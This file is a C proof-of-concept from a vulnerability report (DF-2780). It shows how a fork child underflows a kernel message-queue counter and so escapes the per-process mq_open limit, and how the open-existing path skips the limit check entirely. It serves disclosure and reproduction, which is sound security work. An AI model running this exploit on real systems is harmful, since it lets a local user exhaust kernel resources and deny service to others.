DF-2780 / fork_cnt.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 | /* * DF-2780 — p_mqueue_cnt accounting is broken across fork(): * - incremented in the OPENING process (sys_mqueue.c:592) * - decremented in mq_close_fop() in whatever process drops the LAST file * reference (sys_mqueue.c:373-385, curproc, not the opener) * - fork() gives the child a zeroed p_mqueue_cnt (kern_fork.c:444 M_ZERO) * while the child inherits the descriptors (fdcopy holds file refs) * * => a fork child that closes an inherited mqueue descriptor underflows its * u_int p_mqueue_cnt (proc.h:235) from 0 to 0xffffffff, after which the * per-process limit check `p_mqueue_cnt == mq_open_max' * (sys_mqueue.c:452,577 — equality, not >=) never matches again: the * child opens mqueues without any per-process bound. * * Additionally demonstrates: the open-EXISTING-queue path performs NO limit * check at all (sys_mqueue.c:531-563 increments the counter without checking), * so even a non-underflowed process at its EMFILE limit can keep opening * already-existing queues. * * cc -O2 -o fork_cnt fork_cnt.c * ./fork_cnt * Expected (vulnerable): control: EMFILE after 512 creates * fork path: EMFILE after 513 creates in child * existing: open past the limit succeeds (rc=0) */ #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/wait.h> #include <sys/resource.h> #include <sys/syscall.h> static int mqo(const char *name, int oflag, const long *attr) { long a[4]; if (attr) { memcpy(a, attr, sizeof(a)); return syscall(SYS_mq_open, name, oflag, 0600, a); } return syscall(SYS_mq_open, name, oflag, 0600, NULL); } static void raise_fds(void) { struct rlimit rl; getrlimit(RLIMIT_NOFILE, &rl); rl.rlim_cur = rl.rlim_max; setrlimit(RLIMIT_NOFILE, &rl); getrlimit(RLIMIT_NOFILE, &rl); printf("[*] RLIMIT_NOFILE soft=%llu hard=%llu\n", (unsigned long long)rl.rlim_cur, (unsigned long long)rl.rlim_max); } int main(void) { char name[64]; long attr[4] = { 0, 1, 16, 0 }; int i, n, fd, status; setvbuf(stdout, NULL, _IONBF, 0); raise_fds(); /* --- control: how many can a fresh process create? --- */ for (n = 0;; n++) { snprintf(name, sizeof(name), "/df2780_ctl_%d_%d", (int)getpid(), n); fd = mqo(name, O_RDWR | O_CREAT, attr); if (fd < 0) { printf("[control] mq_open #%d failed: %s\n", n, strerror(errno)); break; } } printf("[control] fresh process created %d queues " "(kern.mqueue.mq_open_max=512)\n", n); /* --- limit-check bypass on the open-existing path --- */ if (n > 0 && errno == EMFILE) { snprintf(name, sizeof(name), "/df2780_ctl_%d_%d", (int)getpid(), 0); fd = mqo(name, O_RDWR, NULL); printf("[existing] mq_open(existing) at/past EMFILE limit: %s\n", fd >= 0 ? "SUCCEEDED (no limit check on this path)" : strerror(errno)); if (fd >= 0) close(fd); } /* release the control queues so the fork stage has descriptors */ for (i = 0; i < n; i++) close(3 + i); for (i = 0; i < n; i++) { snprintf(name, sizeof(name), "/df2780_ctl_%d_%d", (int)getpid(), i); syscall(SYS_mq_unlink, name); } /* --- fork underflow path --- * The decrement in mq_close_fop() runs in whichever process drops the * LAST file reference. Order: parent opens, forks; parent closes its * copy (fo_close does NOT run: child still holds a ref => parent's * counter LEAKS at 1); child then closes its inherited copy as the * last reference => fo_close runs in the CHILD, whose p_mqueue_cnt is * still 0 => 0 - 1 underflows the u_int to 0xffffffff. */ { int pfd[2], go = 0; snprintf(name, sizeof(name), "/df2780_parent_%d", (int)getpid()); fd = mqo(name, O_RDWR | O_CREAT, attr); if (fd < 0) { fprintf(stderr, "parent mq_open: %s\n", strerror(errno)); return 2; } pipe(pfd); if (fork() == 0) { /* child: p_mqueue_cnt == 0, holds one inherited mq fd */ close(pfd[1]); read(pfd[0], &go, 1); /* wait until parent closed */ close(fd); /* LAST ref: 0 - 1 => 0xffffffff */ close(pfd[0]); for (n = 0;; n++) { char cn[64]; snprintf(cn, sizeof(cn), "/df2780_kid_%d_%d", (int)getpid(), n); if (mqo(cn, O_RDWR | O_CREAT, attr) < 0) { printf("[fork-child] mq_open #%d failed: %s\n", n, strerror(errno)); break; } } printf("[fork-child] created %d queues after the " "inherited-fd close underflowed the counter " "(control limit: 512)\n", n); _exit(n >= 513 ? 42 : 1); } close(pfd[0]); close(fd); /* non-last ref: parent LEAKS count */ write(pfd[1], &go, 1); /* release the child */ close(pfd[1]); waitpid(0, &status, 0); printf("[*] child exit=%d => %s\n", WEXITSTATUS(status), WEXITSTATUS(status) == 42 ? "BYPASS REPRODUCED (child exceeded mq_open_max)" : "bypass not observed"); return WEXITSTATUS(status) == 42 ? 0 : 1; } } |